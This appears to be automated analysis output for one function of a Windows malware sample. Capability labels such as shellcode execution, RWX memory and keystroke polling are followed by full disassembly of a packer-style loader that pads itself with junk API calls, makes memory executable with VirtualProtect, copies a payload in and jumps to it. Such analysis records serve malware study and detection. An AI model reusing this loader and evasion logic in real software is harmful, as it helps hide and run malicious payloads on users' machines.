Function at 0x4015c5
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call
Get disk size
Identify system language via api
Log keystrokes via polling
Set file attributes

Disassembly:
sub esp, 0x93c
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebp
push ebp
call edi
cmp esi, 0x207138
jg 0x4015ed
inc esi
cmp esi, 0x4f672
jl 0x4015d9
mov ecx, dword [0x678604]
cmp ecx, 0x93
je 0x40180d
mov eax, dword [0x41a668]
add ecx, 0x1134b
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.kernel32.dll
mov dword [0x678608], eax
mov dword [0x678604], ecx
call ebx
push dword [0x678604]
mov dword [0x6785f4], eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [esp + 0x28]
mov dword [0x67808c], eax
push ecx
push 0x40
push dword [0x678604]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x14b002e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x401652
mov ecx, dword [0x678604]
mov esi, ebp
test ecx, ecx
je 0x401701
mov eax, dword [0x678608]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x67808c]
mov byte [eax + esi], cl
mov ecx, dword [0x678604]
cmp ecx, 0x490
jne 0x4016f8
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push str.mifur_nagedixolawanedusivexesupom_wigijawagosukocivawutopabetulite_sopujamuhukicolehoyij_losute
lea eax, [esp + 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebp
push ebp
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebp
push ebp
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
push ebp
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebp
push str.yaseyamufufiwasalivixosexarij
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.butavuhejewipaboxu
call ebx
mov ecx, dword [0x678604]
inc esi
cmp esi, ecx
jb 0x401671
mov esi, ebp
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x401730
push ebp
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebp
push ebp
push str.juyasalarehuceme
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
mov ecx, dword [0x678604]
inc esi
cmp esi, 0x38681
jl 0x401703
push ecx
call fcn.00401558
mov esi, ebp
push ebp
call edi
cmp esi, 0x62
jne 0x40174e
call fcn.004015a9
inc esi
cmp esi, 0x674db
jl 0x401741
push 0x7b
pop esi
cmp dword [0x678604], 0x86
jne 0x4017d6
xor eax, eax
lea edi, [esp + 0x36]
mov word [esp + 0x34], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x18], ax
lea edi, [esp + 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x48]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push ebp
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
cmp dword [0x678604], 0xf
jne 0x4017e8
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_OpenEventA]
dec esi
jne 0x40175a
push str.msimg32.dll
call ebx
mov eax, dword [0x67808c]
mov dword [0x6785f8], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x93c
ret
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push ebp
push ebp
call dword [sym.imp.USER32.dll_LoadMenuW]
push ebp
call dword [sym.imp.USER32.dll_CloseWindow]
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push ebp
lea eax, [esp + 0x54c]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push ebp
push ebp
lea eax, [esp + 0x150]
push eax
push ebp
push ebp
call dword [sym.imp.USER32.dll_DdeQueryStringA]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.USER32.dll_DrawCaption]
push ebp
lea eax, [esp + 0x18]
push eax
push ebp
call dword [sym.imp.USER32.dll_SetUserObjectSecurity]
xor eax, eax
lock bts dword [eax], 0
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push dword [esp + 0x14]
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebp
push ebp
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push ebp
lea eax, [esp + 0x78]
push eax
push ebp
push ebp
push str.wunedefihadigitutogacano
push ebp
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push ebp
call dword [sym.imp.GDI32.dll_GetPixelFormat]
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
push ebp
lea eax, [esp + 0x68]
push eax
push ebp
push ebp
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.ole32.dll_CoGetClassObject]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpSetDefaultProxyConfiguration]
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x1c]
push eax
push str.notama
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push ebp
push ebp
push ebp
push dword [esp + 0x1c]
push ebp
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
push ebp
call fcn.0040379b
pop ecx
push ebp
call fcn.00403c45
pop ecx
push ebp
call fcn.0040379b
pop ecx
call fcn.004039e5
int3